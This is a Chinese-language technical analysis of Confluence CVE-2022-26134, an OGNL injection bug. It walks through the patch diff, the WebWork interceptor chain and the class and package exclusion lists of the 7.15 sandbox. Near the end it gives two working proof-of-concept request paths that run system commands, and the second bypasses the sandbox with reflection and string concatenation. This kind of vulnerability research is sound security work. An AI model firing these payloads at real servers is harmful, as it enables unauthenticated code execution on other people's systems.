confluence-CVE-2022-26134漏洞分析
漏洞背景
官方鏈接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
SummaryCVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data CenterAdvisory Release Date02 Jun 2022 1 PM PDT (Pacific Time, -7 hours)Affected ProductsConfluenceConfluence ServerConfluence Data CenterAffected VersionsAll supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected.Fixed Versions7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 |
7.18.1
所有版本的 Confluence 和 DataCenter 都會受影響
臨時修復方式:
- 7.15.0-7.18.0: 替換
xwork-1.0.3-atlassian-10.jar文件 - 6.0.0-7.14.2: 替換以下文件
- xwork-1.0.3-atlassian-10.jar
- webwork-2.1.5-atlassian-4.jar
- CachedConfigurationProvider.class
代碼分析
diff 補丁
對xwork-1.0.3-atlassian-10.jar和低版本進行反編譯 diff

區別在于將
finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack()) finalActionName = TextParseUtil.translateVariables(this.actionName, stack))
修改為
finalNamespace = this.namespace, finalActionName = this.actionName
少了TextParseUtil.translateVariables()的流程
該函數處理調用了
Object o = OgnlValueStack.findValue(g); ... Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
較為明顯的ognl表達式注入,那我們來看一下具體的觸發流程。
WebWork 框架分析
Confluence 使用 WebWork 框架,框架調用流轉圖, 整個 HTTP 請求邏輯是隨著這個框架處理流程來的。
- 客戶發起 HTTP 流程訪問
- 按照 servlet 規范,先由 filter 進行處理,然后由 WebWork 核心控制器
ServletDispatcher進行處理 - WebWork 根據
xwork.xml配置文件 來處理請求:在配置文件中定義路由對應的攔截器,業務邏輯,業務邏輯響應等部分 - 先依次調用攔截器(before),然后再由業務邏輯處理
- 根據業務邏輯返回的響應類型對響應進行渲染
- 依次調用攔截器(after),然后將響應輸出

confluence 在web.xml中引入WebWork框架配置
action com.atlassian.confluence.servlet.ConfluenceServletDispatcher 1 action *.action
ConfluenceServletDispatcher基類com.opensymphony.webwork.dispatcher.ServletDispatcher
框架配置說明文件:xwork.xml文件,在 jar 包confluence-版本號.jar中
對配置文件進行說明
一個Demo ?
action 映射邏輯,指定 url 映射的處理類

請求如下的url/person/jasperList.action
- package 命名空間 name:
person, namespaceperson, 對應一級路徑 - action 最小的處理單元,name:
jasperList, 對應二級路徑,class 處理類:com.opensymphony.webwork.showcase.jasper.JasperAction - result 響應結果是枚舉類型 "success", 響應類型為
jasper - param 參數:參數名和參數類型
再舉一個例子 login.action
confluence 7.4.10 版本 xwork.xml 文件,default命名空間下的login action,訪問路徑/login.action

- package 命名空間 name:
default,在未匹配到命名空間的情況下映射到該命名空間處理。(注意此刻一級目錄為空) - action name:
login, class 處理類:com.atlassian.confluence.user.actions.LoginAction, 處理方法doDefault interceptor-ref:validatingStack,引用攔截器validatingStack響應結果input, 類型為 velocity,使用login.vm進行渲染
interceptor-ref配置的攔截器集合validatingStack,其中又引用了defaultStack,captcha,validator,workflow,profiling等攔截器, 攔截器集合是可以進行嵌套的。
"validatingStack"> "defaultStack"/> "captcha"/> "validator"/> "workflow"/> "profiling"> "location">After validatingStack
再再舉一個例子 index.action
在default命名空間下,默認訪問的 action 為index,訪問根目錄會使用index進行響應
"index" class="com.atlassian.confluence.core.actions.IndexAction">
"defaultStack"/>
"redirect" type="redirect">${location}
"forward" type="dispatcher">${location}
配置了defaultStack進行處理
看一下defaultStack攔截器的配置,注意攔截器是按照配置依次調用的,存在順序。
"defaultStack"> "profiling"> "location">Before defaultStack "securityHeaders"/> "setupIncomplete"/> "transaction"/> "params"/> "autowire"/> "lastModified"/> "servlet"/> "flashScope"/> "confluenceAccess"/> "spaceAware"/> "pageAware"/> "commentAware"/> "userAware"/> "prepare"/> "bootstrapAware"/> "permissions"/> "cancel"/> "loggingContext"/> "eventPublisher"/> "messageHolder"/> "httpRequestStats"/> "licenseChecker"/> "xsrfToken"/> "profiling"> "location">After defaultStack
關注其中的confluenceAccess攔截器,該攔截器定義如下
"confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />

intercept 函數
如果!this.isAccessPermitted(actionInvocation)返回為否,那么調用actionInvocation.invoke(), 調用下一個 intercept,如果返回為真,也就是沒有權限,返回為notpermitted。
默認未授權訪問,即action=index時,是沒有權限的,此刻會響應notpermitted,result類型之一
如果授權會調用actionInvocation.invoke(),調用下一個攔截器,如果響應resultCode,會調用this.execuResult(), 大家可以回想一下 WebWork 的數據流圖。代碼邏輯如下

如果響應有權限,那么會遞歸調用actionInvocation.invoke(), 否則輸出 resultCode,進入 executeResult()。
接下來跟蹤調用棧,ActionChainResult#exec調用了TextParseUtil@translateVariables, 然后就快進到 ongl 表達式的執行流程了

可知 namespace 是我們可控的 url 路徑參數

可以函數com.opensymphony.xwork.util.OgnlValueStack#findValue看到調用Ognl.getValue即可造成 ognl 代碼執行

相應poc如下
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1 Host: 10.211.55.8:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB Upgrade-Insecure-Requests: 1
繞沙箱
關注一下com.opensymphony.xwork.util.OgnlValueStack#findValue實現
官方說明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html
在 7.15 版本中添加,阻止對 java 特定類和特定包訪問,與https://struts.apache.org/security/#internal-security-mechanism相似
表達式經過safeExpressionUtil.isSafeExpression判斷

com.opensymphony.xwork.util.SafeExpressionUtil沙箱類分析
關鍵配置
- xwork.excludedClasses - a comma-separated list of excluded classes.
- xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.
- xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.
黑白名單列表
"xwork.excludedClasses" value=" java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, java.lang.ProcessBuilder, java.lang.Thread, sun.misc.Unsafe, com.opensymphony.xwork.ActionContext java.lang.Compiler, java.lang.InheritableThreadLocal, java.lang.Package, java.lang.Process, java.lang.RuntimePermission, java.lang.SecurityManager, java.lang.ThreadGroup, java.lang.ThreadLocal, javax.script.ScriptEngineManager, javax.servlet.ServletContext, javax.persistence.EntityManager, org.apache.tomcat.InstanceManager, org.springframework.context.ApplicationContext, com.atlassian.applinks.api.ApplicationLinkRequestFactory, com.atlassian.core.util.ClassLoaderUtils, com.atlassian.core.util.ClassHelper" /> "xwork.excludedPackageNames" value=" ognl, java.io, java.net, java.nio, javax, freemarker.core, freemarker.template, freemarker.ext.jsp, freemarker.ext.rhino, sun.misc, sun.reflect, javassist, org.apache.velocity, org.objectweb.asm, org.springframework.context, com.opensymphony.xwork.util, org.apache.tomcat, org.apache.catalina.core, org.wildfly.extension.undertow.deployment java.lang.reflect, com.atlassian.cache, com.atlassian.confluence.util.http, com.atlassian.failurecache, com.atlassian.vcache, com.atlassian.sal.api.net, com.google.common.cache, com.google.common.net, com.hazelcast,java.jms, java.rmi, javax.management, javax.naming, org.apache.catalina.session, org.apache.commons.httpclient, org.apache.httpcomponents.httpclient, org.apache.http.client, org.ehcache, com.google.common.reflect, com.sun.jmx,com.sun.jna, javax.xml,jdk.nashorn, net.bytebuddy, net.sf.cglib,org.apache.bcel, org.javassist,org.ow2.asm, sun.awt.shell, sun.corba, sun.invoke, sun.launcher, sun.management, sun.misc, sun.net, sun.nio, sun.print, sun.reflect, sun.rmi, sun.security, sun.tracing, sun.tools.jar, com.atlassian.activeobjects, com.atlassian.hibernate, java.sql, javax.persistence, javax.sql, liquibase, net.java.ao, net.sf.hibernate, com.atlassian.confluence.setup.bandana, com.atlassian.filestore, com.atlassian.media, com.google.common.io, java.util.jar, java.util.zip, org.apache.commons.io, com.atlassian.confluence.impl.util.sandbox, com.atlassian.confluence.util.io, com.atlassian.confluence.util.sandbox, com.atlassian.quartz, com.atlassian.scheduler, com.atlassian.utils.process, com.atlassian.util.concurrent, io.atlassian.util.concurrent, java.util.concurrent, org.apache.commons.exec, org.springframework.expression.spel, org.springframework.util.concurrent, org.quartz, oshi" /> "xwork.allowedClasses" value="com.atlassian.confluence.util.GeneralUtil, java.io.Serializable, java.lang.reflect.Proxy, net.sf.hibernate.proxy.HibernateProxy, net.sf.cglib.proxy.Factory, java.io.ObjectInputValidation, net.java.ao.Entity, net.java.ao.RawEntity, net.java.ao.EntityProxyAccessor" />
沙箱核心邏輯,調用OgnlUtil.compile對表達式進行解析,對每一個 node compile 之后進行遞歸的安全判斷。
private boolean isSafeExpressionInternal(String expression, Set visitedExpressions) {
if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
return false;
}
if (this.isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;
}
if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
} else {
try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpression instanceof Node) {
if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
} else {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
}
}
} catch (RuntimeException | OgnlException var4) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of OGNL expression", var4);
}
}
}
return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}
通過字符串拼接的方式繞過 node 類型為ASTconstant判斷邏輯
private boolean containsUnsafeExpression(Node node, Set visitedExpressions) {
String nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;
} else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
return true;
} else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
return true;
} else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
return true;
} else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
return true;
} else {
for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
Node childNode = node.jjtGetChild(i);
if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
return true;
}
}
return false;
}
}
兩個關鍵點
- 利用反射構造惡意對象及實例
- 利用字符串拼接繞過常量匹配
對應 poc 如下
/%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/